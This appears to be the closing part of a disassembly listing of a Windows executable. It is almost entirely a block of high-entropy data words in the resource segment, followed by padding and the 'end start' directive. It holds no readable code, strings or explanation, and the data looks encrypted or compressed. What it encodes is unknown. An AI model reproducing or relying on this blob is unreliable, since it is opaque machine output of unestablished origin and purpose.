		dd 0FF01E7ADh, 8974D2DFh, 0B4B49D83h, 12E0C2D0h, 445CEE00h
		dd 0BD8BA279h, 0EE0416C2h, 5D2DCA19h, 54978650h, 0FED6B885h
		dd 39452C39h, 0A783686Ah, 0FF3BB761h, 63B0B16h,	8872E0EEh
		dd 44D4BCBAh, 0F84810F2h, 0E88C615Eh, 0D9E5CCD9h, 4723080Ah
		dd 87BE2E18h, 0BC90A7BAh, 29830AD2h, 9D830A50h,	98ACC396h
		dd 3F5E06EEh, 94947279h, 58E3DBAAh, 9C74BE80h, 0D98E7213h
		dd 5A60B8C2h, 0BD6AB12Eh, 0F8B32D86h, 0B5EEB460h, 0A92DC0A4h
		dd 689A3A53h, 0C02C3EBFh, 6F415880h, 90A3EE81h,	44576A7Dh
		dd 0F80B1E31h, 0ACBFD2E5h, 60738699h, 14273A4Dh, 0C8DBEE01h
		dd 7C8FA2B5h, 30435669h, 0E4F70A1Dh, 98ABBED1h,	4C5F7285h
		dd 132639h, 0B4C7DAEDh,	687B8EA1h, 1C2F4255h, 0D0E3F609h
		dd 8497AABDh, 384B5E71h, 0ECFF1225h, 8D63C6D9h,	0D7474468h
		dd 0FEE2EE9Eh, 6152E2F5h, 70917565h, 0E7E6595Dh, 0E01E8B1Dh
		dd 925A69CCh, 84CE167Ch, 3622FE09h, 93A420E5h, 50A28A57h
		dd 2B0FF8D4h, 3950F63Fh, 7859BDF1h, 3B7BD7EEh, 0E5CE0647h
		dd 36BFFC50h, 4C9DCF5Ah, 2C8CAA35h, 8C3AC05h, 64778AB9h
		dd 182B5EF9h, 995C7F05h, 0C9937CDCh, 30337246h,	0AF7CEA4h
		dd 3C2C4124h, 93634CC0h, 811A03CCh, 0B89902C1h,	3CA6A288h
		dd 0A333D5CDh, 6A49FE35h, 6B202B4Ah, 46D26283h,	0B00AA29h
		dd 9429CDAFh, 0A0EF4C16h, 16A29080h, 0AFCFFAF9h, 38AC57Fh
		dd 0FF533E93h, 0F796816Ch, 0D418A18Fh, 0EC576054h, 0BBD7E934h
		dd 0BB1B576Ch, 0E53286C7h, 145539ADh, 0C8DBEE01h, 7C8FDE1Dh
		dd 0D0C0E169h, 0FCF700F4h, 47321441h, 4C5F8A6Dh, 0A098A939h
		dd 0B4C7D0C4h, 0F5F496CEh, 1C1D65AEh, 4D2A72F4h, 84C5A91Dh
		dd 9CC8EDB4h, 65FF483Ch, 0D6BA2666h, 546AA28Dh,	41EE2E41h
		dd 3C626D38h, 428396A9h, 331DF705h, 9C580148h, 8F9FE8DCh
		dd 3C9DE9C7h, 0FB83292Dh, 2BBBCEE2h, 5B6F926Fh,	102353C5h
		dd 0C01975FDh, 26430681h, 0B142513Ch, 0E001E555h, 0E7700D0h
		dd 4864EE89h, 0C58F3B01h, 70C66A0Fh, 1CF23B48h,	0E7CCBF52h
		dd 4D26D1BCh, 0BCC7EA32h, 5D9B0F6Dh, 117ED60Ch,	3326D12Fh
		dd 36637689h, 0D7FD62BEh, 1348EDE3h, 227F92A5h,	953320DCh
		dd 0C4A1850Ah, 8216B06Ch, 14A0D378h, 5F4A349Bh,	73733FE0h
		dd 0DDC07E7Fh, 0B4AAA05h, 0C0D36A75h, 3834D9ADh, 0F83B6458h
		dd 0AB95D77Dh, 0D420B9C0h, 0C3576054h, 0EED262AEh, 0D0BBD5E5h
		dd 6233096Ch, 6A1E9520h, 48CDD109h, 3DE2C2FEh, 493F3A85h
		dd 0E010EE11h, 33EB79ADh, 4B8AF36Eh, 74B88188h,	0C325BC3h
		dd 1CA6FCDEh, 45DAC363h, 0C42A5744h, 0BA822BA3h, 6C9FF353h
		dd 5F2A9343h, 1486FE42h, 61D2FB83h, 0BC2E66EAh,	27A63E3h
		dd 64E47BE0h, 0F422CB63h, 0C8C2308h, 302CB1C3h,	8B533CB0h
		dd 836ECB56h, 0EA3E0C98h, 2A06EB81h, 12665540h,	0DC1FEE27h
		dd 2712F381h, 5219E7EDh, 88510647h, 36A9D29Eh, 4A5E5241h
		dd 566A0897h, 0E51B8EE7h, 0E75E492Ah, 0E9AA4693h, 24A7F76Fh
		dd 6F5A3BE1h, 474A94EDh, 0EAAB9E2Ch, 0B28DEC52h, 77BEE089h
		dd 5E5F5267h, 0EDCE3871h, 0C490429Dh, 0FFADB61h, 0D4E7FB65h
		dd 3CCD32C1h, 0AEFB37Ah, 4B5141F3h, 0A4B742DAh,	0FAC6FE91h
		dd 8194F5DCh, 0C0E1BE8Dh, 1EF6F198h, 0A7B82524h, 0DCEF382Dh
		dd 8F9BB6C9h, 64182AEAh, 7588743Ch, 0ADBF08FDh,	5DD18C86h
		dd 7821FD6h, 0B05073AFh, 0D191A2C3h, 6138FC67h,	8AF3B5FAh
		dd 0BE88BFD6h, 9BC35A30h, 438EC5B0h, 0FC5463B9h, 0C37BA498h
		dd 9BACB998h, 0D0E3CC41h, 838FAABDh, 0A4479EFEh, 3B83FACFh
		dd 352C6550h, 549579E1h, 0F090B3EFh, 11D0E203h,	0CB94A5A5h
		dd 7FF7355Fh, 57685554h, 8C9FE8DDh, 0B44B6679h,	6D84A40Ch
		dd 0E9BBE4D9h, 598D8DF5h, 0AB01FBD4h, 3E71A24Dh, 6E53272Eh
		dd 175F1365h, 594F2D16h, 54DA25CBh, 5A76199Fh, 18606CDh
		dd 353D41E9h, 64A58226h, 0B8ECF64Dh, 5C229DFDh,	0E6B3512Dh
		dd 5A4785C5h, 82E4F98Ch, 85479AD1h, 0CDAA9575h,	24D8FC39h
		dd 31C8C4F9h, 0C7DAF865h, 0BAA3965Ch, 6CAFFCB7h, 0B7A282C1h
		dd 4E7BB4F1h, 48AB1E93h, 0B39E7D69h, 1B7DC8C7h,	4645F791h
		dd 7A99AFE5h, 2EEDF539h, 62415A8Dh, 96950EE1h, 0F933C235h
		dd 51073728h, 0AD5B675Ch, 0F42F97D0h, 0DD364704h, 0EA4FD6A2h
		dd 4758C501h, 7C8FD8CDh, 24C35669h, 3E577A20h, 80224300h
		dd 4C5F7293h, 75F2E39h,	5042AF45h, 9F3239A1h, 3217D1D2h
		dd 0D0E3F909h, 0BB13B9BEh, 0A84B5E71h, 655ABC0Dh, 0D6BA2E8Eh
		dd 0AEBFEA8Dh, 6460B7ACh
		dd 93CF180Ch, 0A68B2526h, 24374D5Dh, 8FD8D211h,	0A2874142h
		dd 40536679h, 8C04CE2Eh, 0D7C2ACA2h, 0F7C9EB25h, 3FBBBBD4h
		dd 352EACBh, 0E504E69Ch, 2C2D91F5h, 88B74EA2h, 6A0E5E6Ch
		dd 0EE9B81ECh, 7B8C99E0h, 0B3C3AC21h, 0F8778A9Dh, 95A89457h
		dd 4CDF281Dh, 0C26BABA5h, 7CAE9983h, 0CE747240h, 26FF580h
		dd 0CFE08D34h, 7172015h, 0ECCBDEF1h, 0E9FC88D2h, 0A0331C91h
		dd 0C23FFF9Ah, 0A0A28D77h, 0BF6DF11h, 0A65BF6D9h, 0C79E8978h
		dd 7B3648Ah, 7D7A9832h,	3F4071A4h, 0B879085h, 2B7D2533h
		dd 31EF0215h, 0FD69DED5h, 33072914h, 0A7968E59h, 0FB2738BCh
		dd 0F10EACA6h, 8F5EC5B8h, 0BEA27E7Eh, 0F547CDB5h, 0B59272B1h
		dd 0E42502A4h, 98ABBED4h, 0D18EA0D1h, 21FEC0h, 0BAC7DAEDh
		dd 0ED8AB0CDh, 1C1D7ADCh, 0D1E3F609h, 966FAFCAh, 0EFD2BDA6h
		dd 2E7A1A2h, 0A0B3C6D9h, 0EC642E89h, 37220C46h,	0C4466744h
		dd 707F96D7h, 1BA34A5Dh, 8771E539h, 0CC786A9Ch,	0E8EE2EEFh
		dd 0F8F35A35h, 0D048664Ch, 33CA6900h, 462BC5C6h, 0C4D7F2FDh
		dd 0F8C273B1h, 4227DFFAh, 263F0619h, 230DB5F5h,	50340638h
		dd 0A1096B5Eh, 0B0D1AE72h, 5E7A2E5Dh, 0EF3C7AEh, 5D4F9D05h
		dd 0FD103063h, 8E475045h, 6DF54E91h, 9C9DFA5Eh,	0B2EB1C33h
		dd 8394E1D2h, 0C8CBF4E9h, 407F92A5h, 0BA6C9658h, 60D472ABh
		dd 0A0EB59DFh, 0D70F951Fh, 1F6F73B2h, 29A6CAABh, 58399618h
		dd 0C1F3265h, 863EFE6h,	3C061FB7h, 0CE954E4Fh, 0B3AF83ADh
		dd 0C6AB4546h, 4457AA7Dh, 780EF231h, 51B9FAA1h,	60815E18h
		dd 61A0A5EBh, 0C8A90D99h, 0FB0C1960h, 30432CA1h, 79370A1Dh
		dd 9ADB4EDAh, 6247F902h, 85E29039h, 0B4F5D274h,	687B8E21h
		dd 0A49F4D22h, 0F85B7B13h, 9F31AA8Bh, 29934466h, 6B7C091Dh
		dd 0A0B39C11h, 68677A8Eh, 2F4BE43h, 0D2B76A92h,	73DFD6A9h
		dd 0ECAFAF67h, 3309FEFFh, 0DC206A23h, 68CAEBE8h, 0F6071AFBh
		dd 0AA48CEE1h, 169CA21h, 10310ED1h, 1150551Bh, 7859BD1Dh
		dd 2C17EEFDh, 65C27119h, 94D5B254h, 485B6E89h, 0DA71301h
		dd 270AF5DEh, 3A9F191Ah, 18273E51h, 5CDA6705h, 0F910B071h
		dd 8E475045h, 6D0A5BCCh, 9C9DFA5Ch, 50637E89h, 4C753B4Ah
		dd 1DC53E74h, 6C6DCA2Eh, 0E046B137h, 0FAF42577h, 8283D739h
		dd 5237EB12h, 0F35F5629h, 6C302FE7h, 0B3897E7Fh, 1496B714h
		dd 0D0D3E627h, 0BC659AADh, 2BC70EE2h, 0D6E74695h, 0C6AB3F66h
		dd 43F2907Dh, 0E080A39Fh, 41AD2F3h, 4F3A22D9h, 0DC9EBF5Ch
		dd 0C8DBEEEFh, 75BB62B5h, 0B5450619h, 0E425029Ch, 1728153Bh
		dd 4C5FA89Dh, 0B0132659h, 0B8C98F6Bh, 96321B9Dh, 24AEE7DFh
		dd 4D5CF637h, 84C5A931h, 0E4CB090Fh, 7CFE8722h,	8FEA46D9h
		dd 5DBFE44Dh, 3F220DF5h, 0D2B77172h, 704396A9h,	0CADF705Dh
		dd 4CEDD302h, 1CFA18EEh, 0B9D07091h, 0B4071005h, 0C015D181h
		dd 2B16FE41h, 9572BEF9h, 0C405E284h, 788B1EB1h,	0B2AF54B2h
		dd 8726BA3h, 0EF85BA9Bh, 0FD584A01h, 7C0FD234h,	4A83F530h
		dd 735B7545h, 97A89588h, 0CCDF281Dh, 0F593A7B9h, 2E07CA78h
		dd 0DEC3959Eh, 9B4A6CD5h, 90E6CEE7h, 0CC968F47h, 13E9DEDFh
		dd 0C3D99335h, 563BD5D6h, 0D6E7FA0Dh, 0BF7203C1h, 5237F1F2h
		dd 0F4031629h, 0F4C1FFDDh, 0D1E888D1h, 861F685Dh, 0F6DB7496h
		dd 64E7DBADh, 0A9D9E67Fh, 0B7EFB2C0h, 8A6306D1h, 1A7FF3FAh
		dd 7D9AC831h, 0ACAD0A6Ch, 606B8699h, 5C054ADAh,	2DD5D684h
		dd 7C7DDA3Dh, 31D3C1C7h, 9CA712C8h, 802343DBh, 0A3B97293h
		dd 361BB5B6h, 0A4C7DAEDh, 1D081FA1h, 9F972872h,	48800001h
		dd 2A97A095h, 920B71DCh, 0FB83CF4Eh, 2582C607h,	54957214h
		dd 8FB2E41h, 134001C2h,	18619194h, 89316266h, 0D8B91699h
		dd 86A29685h, 765BEE16h, 0CDA2C02Dh, 9E824A56h,	0D6300C95h
		dd 462AB2E6h, 147210FDh, 0FF08A089h, 0C63F887Dh, 86A8B88h
		dd 94AABA9Bh, 2AE76F81h, 486A784h, 0B0C3D617h, 5AE48E9Dh
		dd 0A2C380h, 0CCDFF213h, 85E0A9B9h, 0C3B1DE95h,	1256F6D8h
		dd 215E412Ch, 50714E10h, 0FC172A3Dh, 711BE19Dh,	0EBFC894Fh
		dd 20331C91h, 0E867FA0Dh, 629A3EA1h, 5237E9F2h,	0FA635729h
		dd 88AF53E2h, 0DFC88091h, 4C1F685Dh, 8453E955h,	953705A9h
		dd 5783B4CBh, 634C0C75h, 76A38C01h, 0C3D421E8h,	0D80B3429h
		dd 80BFD2E5h, 0DFF01D6Ch, 14273025h, 7CBBEE01h,	7F4E19BAh
		dd 24435669h, 3E877A1Ah, 5F2611FCh, 5BEBFF10h, 0C12E2667h
		dd 42B9B76h, 0EFF898F9h, 0B62F786Dh, 0F85A7BF8h, 8497AA8Bh
		dd 34575E31h, 2FCFCA83h, 0C8324BE3h, 4EC27A5Bh,	2822C65Fh
		dd 0C44E87FFh, 0B6196D7h, 0ECAECFECh, 0D8EEFEFFh, 5F4BB3C5h
		dd 68CAEBE8h, 0F4071AFBh, 0A547EEE1h, 5C72C9E4h, 15EF3649h
		dd 0DF717A4Dh, 0F34229E4h, 4226FEE2h, 59ABF119h, 4DDAF695h
		dd 30D2F330h, 0FC0F2243h, 0AE90D669h, 2CF60F22h, 10A53E3Fh
		dd 0CF087245h, 84083EACh, 24631EB2h, 0E01BCF21h, 7F0A4D65h
		dd 81EB1C87h, 0AAB250FDh, 0D04B6D69h, 6C7F923Dh, 0BB91E75Bh
		dd 8D6465C5h, 0F039B4EEh, 0D76DA286h, 6D9D59D9h, 7ADF665Ah
		dd 0D7E8D591h, 0C1F685Dh, 35C3E6F9h, 0FCA271ABh, 0A32439B9h
		dd 0A4CA2AC8h, 0D1EE6F4h, 448569C9h, 0E7779332h, 0B5C0D2F3h
		dd 648FCA24h, 400B7D6h,	3556EEEFh, 7C7DE12Dh, 5FAFDB94h
		dd 69E60AEBh, 9879D658h, 4C5F72C5h, 0C8E22825h,	0B4C31C58h
		dd 0D5FEC5EFh, 1C1D8199h, 195F0509h, 9C97AABEh,	384B5E76h
		dd 0AAD15770h, 0D2C61296h, 901B3E73h, 0B6880D41h, 35CF1810h
		dd 0A68AB626h, 0CCB29D5Dh, 87930105h, 4F1ADA18h, 35330EA5h
		dd 69825944h, 0A889EDA1h, 58B18550h, 3F7FBBD2h,	86DAEACBh
		dd 100827B9h, 0A73F887Ch, 93BAEE0Ch, 94A7BA4Dh,	77680729h
		dd 0BC74AD8Ch, 86C3AC20h, 7364F745h, 0D898C988h, 47DF281Ch
		dd 0BA96AE83h, 0B77D4571h, 60F213CAh, 9CAFC3B5h, 510DFA90h
		dd 591A2A3Dh, 0B899FD2Dh, 7BFB47A8h, 4CC74687h,	36640935h
		dd 59BAEC1h, 0C12A6633h, 0F011F5A5h, 0BC07D0E0h, 7F2D33Bh
		dd 1B5FEFC8h, 35D3E627h, 704695B8h, 2926D168h, 0D88A0215h
		dd 0BFE32B02h, 0C94E6A4Bh, 0F80B1F36h, 0BB3B57E8h, 0E1D186C7h
		dd 13447925h, 0C8DBCA7Eh, 7ECF2DB5h, 4F1994h, 0F3E4F7C5h
		dd 58F0D708h, 4B5FA89Ch, 13CAB6h, 7844DDEDh, 6B7BA498h
		dd 3216C6D2h, 0EBE38109h, 68EB6FCh, 384B5EB6h, 0EBF75940h
		dd 0A0B38A5Ch, 56A7FD8Dh, 0B077544h, 0D2B66672h, 0DF3348A9h
		dd 0FA5EEAAAh, 0C6585D11h, 369FE8E0h, 0C54A26F6h, 0F4071A7Ch
		dd 0A8BB4A8Ah, 5B16BE95h, 1023AAC6h, 0B9FD6AFDh, 780623B8h
		dd 0F2BA5265h, 1436F11Ah, 284BE27Dh, 0B5244D38h, 0FCFD6175h
		dd 35C66D56h, 64A58959h, 7A7C354h, 5158F213h, 80A1851Dh
		dd 0B9725AF8h, 0E8C92DBDh, 219ACAA7h, 50715571h, 43C534Fh
		dd 0EADBDEF1h, 6C867AB4h, 5EA84659h, 0AF288521h, 985DB1C3h
		dd 4BE3E790h, 0ECD01657h, 0B3C78E60h, 3CA70D82h, 0F73A9339h
		dd 6450753Ch, 94879084h, 17B7E3ECh, 6870223h, 71EAD5B6h
		dd 44576AE6h, 0D301F3B1h, 0A571DE24h, 5F6BCDD4h, 0A38E36CFh
		dd 4DD237B8h, 4B362047h, 0B15F32F4h, 0E40F997Ch, 47321DD1h
		dd 0CD215DDCh, 730A03h,	877DFAEDh, 4C6F1961h, 2BE3C7D4h
		dd 555CF637h, 84C5A985h, 10BEF7F6h, 71021225h, 0A0C1A555h
		dd 9204DF2Bh, 0CA1EF42Ch
		dd 0B8110DE1h, 0C8CE5C67h, 2483CB1Ch, 0D8E8FE11h, 5218B2C5h
		dd 379A5EDh, 6E9459DCh,	0E9BBE4DCh, 0E166A1FDh,	10233763h
		dd 9C313E2Dh, 0D12FD5Bh, 2C2D8D4Fh, 0DF1AC696h,	94A8BF55h
		dd 6D055681h, 0EDA7A18Ch, 83C3D6E9h, 0FDB5BEBAh, 3D5E23F5h
		dd 0A5916768h, 80D4BFA5h, 30FCF84h, 7D020E0Fh, 9C9DFDEBh
		dd 7F43FB12h, 0EDEF2A0Bh, 0BCBDEF1h, 4720E602h,	7E829536h
		dd 0ECDAACAAh, 3A4BFEEAh, 9868585Eh, 0F0E0BD86h, 0BDD2720Ch
		dd 6B03DDC8h, 0BF1F3245h, 333018D6h, 99794939h,	0DED4A0B1h
		dd 430CEEFEh, 0E852B626h, 533E1382h, 0F80B1059h, 6E5C25E5h
		dd 0D5CEA97Ah, 2D190ADDh, 6D6F572Fh, 0B38F8794h, 9F9B6651h
		dd 0E4FFB2B4h, 0BDDEBED1h, 2A00DAC8h, 5F494B18h, 0BDA58379h
		dd 1E14E0F1h, 834C2E3Eh, 2892F666h, 937E5282h, 0BDC01241h
		dd 0ECED4C99h, 0FAE3EAC3h, 0C9CE518Eh, 8E949EFh, 8BAB1E7Eh
		dd 0A68E6836h, 0A1F7345Dh, 0CEB1B286h, 3C6F02C5h, 6AB7BBF0h
		dd 0F5DF1AFBh, 7CBBD2E1h, 2BBE837Fh, 462AD6D6h,	0C8313EFDh
		dd 98F8FD80h, 0AF3F887Ch, 95BAFA55h, 94D5B985h,	33F1E338h
		dd 0BF562243h, 0DE6F2B6Eh, 73C58A6Bh, 0EF610DEh, 1B077505h
		dd 801E2AC0h, 0B9C05A6Dh, 0E8C92D3Dh, 6BFDC2BFh, 866EE416h
		dd 3D7AF3Dh, 0B8CB826Dh, 1CBFBDA5h, 70367029h, 0D4BFFBB7h
		dd 5EDBAEC1h, 4785F7CCh, 58861657h, 0BC33D974h,	0D16B7E8Eh
		dd 22069AC2h, 1C4873F9h, 0F1879084h, 1E02A2EEh,	3641D315h
		dd 25EA66C9h, 44856597h, 0F79276B4h, 0ACBC8861h, 4F73B099h
		dd 0EA4EE29Ah, 7E48CD01h, 0FF8FD8D0h, 0B43A7561h, 0E4F70F94h
		dd 87AF435Ah, 85527293h, 5044E93Ch, 0E5C3849Eh,	57132358h
		dd 91D64263h, 0D0F1D15Bh, 88E6A3Ah, 384B632Ch, 7178DB38h
		dd 0A0C1A559h, 6C384B3Eh, 8122E58h, 265C61A5h, 0F5836CE4h
		dd 0F8B3591Dh, 51EBFE0Eh, 0A2863642h, 33DB2979h, 6F071AD4h
		dd 2DCAE62Ch, 5C5DBA1Ch, 20233649h, 49DAF00Ah, 78598E5Ah
		dd 6D422478h, 0C1C29788h, 63373F56h, 0D3A36E6Fh, 770F225Dh
		dd 35C6B234h, 64A59AC6h, 0D92E7044h, 2D0EE3D4h,	0AF0B2B42h
		dd 338A5A3Bh, 11F95990h, 0CF24F738h, 13F285A1h,	0BDE72D29h
		dd 0BBA31F9Ch, 1B691355h, 9896F48h, 0DE6A1799h,	0A82DAFC5h
		dd 0B7332D00h, 0B2060A6Bh, 5CF357CDh, 3B14D5C8h, 0D89C6D06h
		dd 83D3BC30h, 64A36E38h, 0AAB20E54h, 0DCEF02ADh, 0EBDA418Ch
		dd 0F8FCF788h, 0A40B3427h, 0E5B2B170h, 0D2D4623Dh, 2B11364Bh
		dd 22BB1A03h, 58BB7EC9h, 7D0F449Dh, 0FC640AF1h,	992607F4h
		dd 1127B79Ah, 2D0E3A39h, 0B4999DA0h, 974E13A8h,	1FAAC1ACh
		dd 8E9CAD3Eh, 6A13B900h, 25D2BDA8h, 0AACC5554h,	8F9E4AE0h
		dd 8B8CB9A4h, 7ED4184h,	8B76F271h, 433373A0h, 0A82E9989h
		dd 87725D0Eh, 0A9B78DD8h, 0B51A05EFh, 8071421Dh, 89D3AD98h
		dd 5B1601EBh, 7F6962C5h, 0DCA9DD94h, 788B9EBFh,	7B66B54Dh
		dd 0E0F3AE90h, 156CBACDh, 3E2E8B26h, 0FFDA8B35h, 1F9FD6E9h
		dd 0E824156Fh, 3C2B5448h, 4D7D148Eh, 7FBDF3EFh,	344A9EEAh
		dd 0D4A19921h, 1DCD20D8h, 4F2026C4h, 41A9EBAh, 0CE0E35F1h
		dd 6C7FB2A5h, 23D2CB60h, 1755FA0Dh, 0C92B015h, 3C4F65EAh
		dd 1DFBD9B4h, 4572A3Dh,	5BE20298h, 2C043245h, 0BFF3C619h
		dd 748A1E29h, 56843661h, 5EE6816Ch, 90A3B942h, 130FCF00h
		dd 730B1E1Fh, 663ADA27h, 0D33471A9h, 0AF672D49h, 4113F1FEh
		dd 108B27Fh, 305135EDh,	2CEB5420h, 98ACBED1h, 0B3B95AB6h
		dd 9523C5B0h, 0B4F5D272h, 0DD4BAE12h, 1C1D7ADBh, 929D673h
		dd 9CA3E2F5h, 0E7D2C501h, 60F6E4A2h, 0D195791Bh, 2A8F09FAh
		dd 3F381941h, 0D2B77172h, 708396A9h, 3B597E5Eh,	0CEB38D8Eh
		dd 8C9FB5C5h, 0C1477B79h, 0CA2FA98Ah, 0D7C2ADE1h, 0DD69EDF0h
		dd 462BC5CEh, 0C4D7EAFDh, 788986B9h, 4085265h, 0E0F30617h
		dd 3B69E285h, 0CDD54D38h, 0FCFD5AB4h, 37DD5A67h, 0DC778075h
		dd 0EF3C5CEh, 23FFD405h, 0B69B3536h, 3447626Dh,	68F46321h
		dd 0B2974B6Ah, 952F7789h, 0CC8EAFCCh, 0B8CBDEDFh, 572B9AA5h
		dd 48B2A3D9h, 0E8E4FADBh, 0E02E31h, 414F988Dh, 9D837D95h
		dd 0A4E5C266h, 0FD1528Eh, 2207C1C2h, 0C0D3E6F9h, 0F4804E2Dh
		dd 1E03D5D6h, 551E0415h, 0BFD71B4Ch, 5C576A4Bh,	0A7927130h
		dd 0FBE433CDh, 62C32E10h, 81A23A4Dh, 0C8A90D89h, 8B033FB8h
		dd 199B5697h, 0E3DEC9B1h, 98AD6E4Dh, 0D0CCFD85h, 7B13FC70h
		dd 62CAD6A3h, 9780E849h, 26B151ACh, 51E3F60Bh, 84F78E07h
		dd 0E6C6BE71h, 0B6026857h, 0B0FDC9E5h, 1CDEFF9Ch, 81B2E2Fh
		dd 0B0FCF2F5h, 9FB3F332h, 79AC4A2Bh, 0D8B916A5h, 7C383F50h
		dd 0E42666A7h, 0EE2693DCh, 1D30CEE1h, 5C5D9295h, 10B49B3Ch
		dd 28CAECA0h, 600223E0h, 2C3F5273h, 64EAF619h, 94A7BA33h
		dd 6033C138h, 0CBB690C3h, 0DF034B74h, 96F48A6Bh, 1893C258h
		dd 615AF205h, 80A18535h, 0B55724F8h, 0E89B326Bh, 0D68A22D5h
		dd 83650991h, 0F8892D06h, 0C8E46BECh, 0E9FA92B3h, 20413642h
		dd 0A062D09Fh, 21F8319Dh, 3C4F9865h, 0F0DC7DACh, 1FB7CADDh
		dd 926C864Bh, 934E354Dh, 48507168h, 0B879084h, 1E03DDDEh
		dd 0DCEFC215h, 7A54AC9h, 40C96D75h, 6D842E1Ah, 0ACAD11A9h
		dd 618B9924h, 93A4711Dh, 88DB04F9h, 0D08FA2B5h,	12B6D6Bh
		dd 0F3DB53C5h, 94467708h, 6737E588h, 5644322Bh,	0DD8E3E00h
		dd 50DF2326h, 0A9A84263h, 0D0F1D5D9h, 32DE0E50h, 0B5BD6F78h
		dd 0ECFFE7A4h, 1D20A0D9h, 69677065h, 0B04D973Fh, 34E116A3h
		dd 18DBA6F9h, 0CE1E0917h, 0DBDFC89Ch, 11CEC20Fh, 40613E00h
		dd 0E4071A2Dh, 5DB80F66h, 18E40B88h, 13230C80h,	9AE7137Ah
		dd 91EA21B1h, 2C3F5265h, 590B4944h, 94A78E4Ch, 4D84581h
		dd 0FD0F5849h, 0A4C3D6E9h, 5CBA519Ch, 788BDEB1h, 0D45677D4h
		dd 8093A6E7h, 3B33DA6Dh, 1F85F673h, 17F9412Ch, 866AC20Eh
		dd 7D14CD3Dh, 0B56606BCh, 7BB71F30h, 22164687h,	0F62FD38h
		dd 71885A9h, 3F4F988Dh,	0E4031629h, 0D43455C9h,	5B6B9488h
		dd 2206EECAh, 6850E9F9h, 75879084h, 38F5D969h, 0EB6787A0h
		dd 4AACB6F7h, 0BD5A9D85h, 3A0C26FBh, 546255D5h,	0F0F01199h
		dd 2C273024h, 0C8DB1695h, 0A58764B6h, 0AAF3196Ah, 0BA1F978Ah
		dd 172815D1h, 4C5FA89Dh, 74032639h, 0CD3CDDEBh,	0DE7BA4B1h
		dd 9BACB955h, 0D0E3CC41h, 1997ACBDh, 0EF09BC7Dh, 2E7A1A2h
		dd 0A4B3C6D9h, 0CE652F8Dh, 0FEE3BCAEh, 3B4C59F5h, 70836CE1h
		dd 0B9374A9Dh, 0DAEA881Ch, 0C2A15C87h, 392EFDDBh, 0B63921B7h
		dd 0CAE9D04Bh, 0C041B5E4h, 8FFF18D4h, 115A42FFh, 7859BD59h
		dd 5ABB6165h, 0CFBAA593h, 6ACE3E1Ah, 0B6C84D81h, 0CB0F5850h
		dd 0E6CA5696h, 3604499Dh, 952B544Ch, 0E2C65E8Ah, 0F40033B9h
		dd 65475044h, 17FB7873h, 0B296AA62h, 2D09589h, 13172018h
		dd 0AE92C65Eh, 7E0C91A5h, 9D331C94h, 0AA0DCE5Ah, 2CE88DC1h
		dd 724F988Ch, 1B998B20h, 93ACAABh, 58399D39h, 0C37F545h
		dd 0DD3E6F9h, 11089B57h, 280965FBh, 9DE672CDh, 0C6904E46h
		dd 8717EF7Dh, 0A89266B4h, 743C93ECh, 23735CA6h,	0EE274A22h
		dd 6EBF4301h, 786B9E36h, 4310E7CDh, 0F3B3B23Dh,	9DB81D08h
		dd 9B89466Dh, 0EFC5CEB0h, 92A81904h, 3E03BB58h,	41975461h
		dd 0B0E3F609h, 937E0F65h, 0B31433A8h, 69EF3661h, 0D6B9FA86h
		dd 4C37058Dh, 0EE5AF5Fh
		dd 0F2ACD5F7h, 0DF839611h, 0BEF3D55Dh, 871BB011h, 0A28AB032h
		dd 380FE979h, 0C3CB18AEh, 0AB480AD8h, 346BC818h, 7F6A50CAh
		dd 0D3BE29A5h, 0E04E7FE8h, 2C3F52B1h, 0FF7B5784h, 2CA7BACDh
		dd 485B6E96h, 840F4277h, 0B0C3D619h, 64779A45h,	18078051h
		dd 0CCE0779Dh, 80964EB9h, 10895A6Dh, 0CCA79B21h, 1F850FD9h
		dd 59277681h, 417D25Dh,	0C46DEF1h, 0E744C2C1h, 9108C773h
		dd 6CE7F0E5h, 0B7A28F8Dh, 3C4BA456h, 0F202192Ah, 493DD0DAh
		dd 5D83C0EFh, 45C74730h, 81C43735h, 39h, 30h dup(0)
		dd 1580h dup(?)
_rsrc		ends


		end start